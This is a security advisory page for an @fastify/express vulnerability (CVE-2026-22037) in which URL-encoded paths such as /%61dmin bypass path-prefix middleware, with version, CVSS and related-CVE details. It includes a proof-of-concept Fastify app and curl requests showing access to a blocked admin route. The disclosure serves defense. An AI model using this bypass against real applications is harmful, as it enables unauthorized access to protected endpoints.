High

@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)

Disclosed: 20.01.2026
Updated: 11.10.2026 10:22

Summary

A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.

Details

The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.

PoC

Step 1: Run the following Fastify application (save as app.js):

const fastify = require('fastify')({ logger: true });

async function start() {
  // Register fastify-express for Express-style middleware support
  await fastify.register(require('@fastify/express'));

  // Middleware to block /admin route
  fastify.use('/admin', (req, res, next) => {
    res.statusCode = 403;
    res.end('Forbidden: Access to /admin is blocked');
  });

  // Sample routes
  fastify.get('/', async (request, reply) => {
    return { message: 'Welcome to the homepage' };
  });

  fastify.get('/admin', async (request, reply) => {
    return { message: 'Admin panel' };
  });

  fastify.get('/admin/dashboard', async (request, reply) => {
    return { message: 'Admin dashboard' };
  });

  // Start server
  try {
    await fastify.listen({ port: 3000 });
  } catch (err) {
    fastify.log.error(err);
    process.exit(1);
  }
}

start();

Step 2: Execute the attack.

➜  ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>

(fastify express)

➜  ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}

It differs from CVE-2026-22031 because this is a different npm module with its own code.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	@fastify/express	< 4.0.3	4.0.3

References

CVSS score 8.4/10

CVSS vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L
Weakness (CWE): CWE-177, CWE-288
Platform: npm
Package: @fastify/express
Disclosed: 20.01.2026
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-g6q3-96cp-5r5m - CC BY 4.0

Vulnerability history: @fastify/express

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 3
First → latest: 01.2026 04.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 2
High 1

Disclosures per year

2026: 3

16.04.2026

@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)

Critical · 9.1 CVE-2026-33808 < 4.0.5 4.0.5
16.04.2026

@fastify/express's middleware path doubling causes authentication bypass in child plugin scopes

Critical · 9.1 CVE-2026-33807 < 4.0.5 4.0.5
20.01.2026

@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding) this entry

High · 8.4 CVE-2026-22037 < 4.0.3 4.0.3

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